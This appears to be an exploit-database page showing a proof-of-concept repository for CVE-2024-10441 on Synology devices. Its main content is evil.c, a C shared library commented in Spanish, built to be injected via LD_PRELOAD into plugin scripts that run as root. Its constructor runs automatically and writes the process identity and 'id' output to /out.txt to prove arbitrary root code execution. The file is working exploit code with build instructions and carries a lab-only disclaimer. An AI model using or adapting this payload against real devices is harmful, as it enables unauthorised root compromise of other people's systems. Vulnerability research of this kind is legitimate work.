Exploit databaseDownload repository ZIP
GH-9ea50023dfa3cf7bed5db651d7b16f5e
ntn10/cve-2024-10441-synology-rce
Sources for CVE-2024-10441
3 sourcesPreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source
Repository files4
ntn10/cve-2024-10441-synology-rceRevision 46a8ef2b064a
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
poc/evil.c
Suggested starting fileC · 2,147 bytes/*
* evil.c — biblioteca de demostración para CVE-2024-10441.
*
* Se carga vía la variable de entorno LD_PRELOAD inyectada en el entorno de los
* scripts del plugin "weblogin" que synoplugind ejecuta como root. El constructor
* se ejecuta automáticamente al cargar la biblioteca y escribe la identidad del
* proceso en /out.txt, demostrando ejecución de código arbitrario como root.
*
* Puntos clave (lecciones de la PoC):
* 1. unsetenv("LD_PRELOAD") lo PRIMERO -> evita que cada /bin/sh hijo
* vuelva a cargar esta biblioteca (fork bomb por recursión).
* 2. guard O_EXCL en /tmp/.pwn_once -> ejecuta una sola vez.
* 3. entorno limpio en el fork -> el hijo /usr/bin/id no recarga nada.
*
* Compilar: gcc -shared -fPIC -o evil.so evil.c
*
* USO EDUCATIVO / LABORATORIO AUTORIZADO SOLAMENTE.
*/
#define _GNU_SOURCE
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <string.h>
#include <stdio.h>
#include <pwd.h>
#include <sys/wait.h>
__attribute__((constructor))
static void pwn(void){
unsetenv("LD_PRELOAD"); /* corta la recursion */
int lk = open("/tmp/.pwn_once", O_CREAT|O_EXCL|O_WRONLY, 0600);
if (lk < 0) return; /* ejecutar una sola vez */
close(lk);
int fd = open("/out.txt", O_CREAT|O_WRONLY|O_TRUNC, 0644);
if (fd < 0) return;
char b[320];
int n = snprintf(b,sizeof b,
"=== CVE-2024-10441 RCE OK ===\n"
"codigo arbitrario ejecutado via evil.so (LD_PRELOAD inyectado)\n"
"syscall uid=%d euid=%d gid=%d egid=%d\n",
getuid(),geteuid(),getgid(),getegid());
write(fd,b,n);
struct passwd *pw = getpwuid(geteuid());
if (pw){ int m=snprintf(b,sizeof b,"whoami = %s\n",pw->pw_name); write(fd,b,m); }
const char *t="--- /usr/bin/id ---\n"; write(fd,t,strlen(t));
pid_t p=fork();
if (p==0){
dup2(fd,1); dup2(fd,2);
char *env[]={NULL};
execle("/usr/bin/id","id",(char*)NULL,env);
execle("/bin/id","id",(char*)NULL,env);
_exit(127);
}
if (p>0) waitpid(p,NULL,0);
close(fd);
}